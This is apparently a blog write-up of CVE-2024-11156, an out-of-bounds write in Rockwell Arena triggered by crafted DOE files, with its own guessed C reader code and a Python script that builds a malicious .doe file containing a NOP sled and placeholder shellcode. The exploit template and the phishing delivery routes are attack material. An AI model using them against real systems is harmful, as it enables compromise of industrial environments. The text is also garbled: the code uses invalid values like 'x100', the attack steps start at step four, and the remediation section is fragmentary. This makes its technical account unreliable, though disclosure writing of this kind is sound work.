This post discusses the recently disclosed CVE-2024-11156, an out-of-bounds write code execution bug in Rockwell Automation’s Arena® software. While Arena is mostly known for process simulation in industrial and corporate environments, this flaw highlights the risks of processing untrusted files even in specialized applications. In this article, you’ll find a plain-English explanation, a technical breakdown, sample exploit code, and remediation advice. All content here is unique to this post.

What Is CVE-2024-11156?

CVE-2024-11156 is an “out-of-bounds write” vulnerability in Rockwell Arena®, triggered when the application parses a specially crafted DOE (Design of Experiments) file. The flaw allows a hacker to write data outside the map of allocated memory. This isn’t just a crash bug: An attacker could turn it into a full remote code execution (RCE) exploit.

How does it work?

A threat actor crafts a DOE file with malicious structures. When a legitimate user opens this file in Arena, code embedded in the payload can be executed with the user’s privileges. This can lead to control of the system or full compromise of the Arena modeling environment within a corporate network.

Who Is At Risk?

- Industries: Manufacturing, engineering, operations research, logistics, and any organization using Rockwell Arena®
- Affected Versions: See Rockwell’s official advisory for a list of vulnerable versions (at the time of writing, Arena 16.00.00 and earlier are confirmed vulnerable)
- Attack Prerequisites: The attacker needs to convince a user to open a malicious .doe file—e.g., by email phishing, sharing a file through internal chat, or supply chain entry points.

Technical Breakdown (For Beginners)

Here’s the gist: Arena reads DOE files to set up experiments. The bug happens because the program doesn’t check how much data it’s reading from the file before writing it to memory. If the file claims it has 1,000 items, but the code only made room for 500, things start to break down. If that write overlaps with memory controlling the program state—like function pointers or return addresses—an attacker can take over.

Let’s say Arena’s code for reading experiment parameters looks like this

void readDOEParams(FILE *doeFile) {
    int numEntries;
    fread(&numEntries, sizeof(int), 1, doeFile);

    PARAM *params = malloc(sizeof(PARAM) * numEntries);
    if (!params) { return; }

    fread(params, sizeof(PARAM), numEntries, doeFile); // <--- PROBLEM
    // No check if the file is big enough or if numEntries is reasonable.
}

A malicious file could specify numEntries = x10000 (very large). Arena would allocate memory and then fill well beyond the buffer, which could overwrite critical memory areas.

For demonstration, here’s a proof-of-concept (NOT a real exploit, but educational)

# create_malicious_doe.py
# Generates a .doe file with a huge entry count and shellcode to overwrite memory

import struct

# Place your shellcode here (NOP sled + actual payload)
shellcode = b"\x90" * 100 + b"\xcc" * 20  # (INT3 for demo)

numEntries = x100  # Larger than real files expect

with open("exploit.doe", "wb") as f:
    f.write(struct.pack("<I", numEntries))  # Overwrite with big value
    f.write(b"A" * (numEntries * 32))       # Simulates large param blob—may eventually overwrite sensitive pointers
    f.write(shellcode)                      # Shellcode lands in memory after overflow

A real exploit would align the payload to override a return address or function pointer to the start of the shellcode.

Arena user opens the file, triggering the overflow.

4. Malicious code runs as the user, potentially providing access to sensitive industrial logic or internal networks.

References and Advisories

- Rockwell Automation Security Advisory (official statement)
- CVE-2024-11156 NVD entry
- Arena® release notes

Use endpoint security tools to detect exploitation attempts

- Employ email/web filtering to block suspicious files

Summary

CVE-2024-11156 in Rockwell’s Arena is a dangerous bug—if attackers get a foot in the door, they may take over industrial or business simulation environments. Patch immediately, train users, and treat simulation files as potentially hostile content until you’ve upgraded.

Timeline

Published on: 12/05/2024 18:15:21 UTC
Last modified on: 12/17/2024 15:52:01 UTC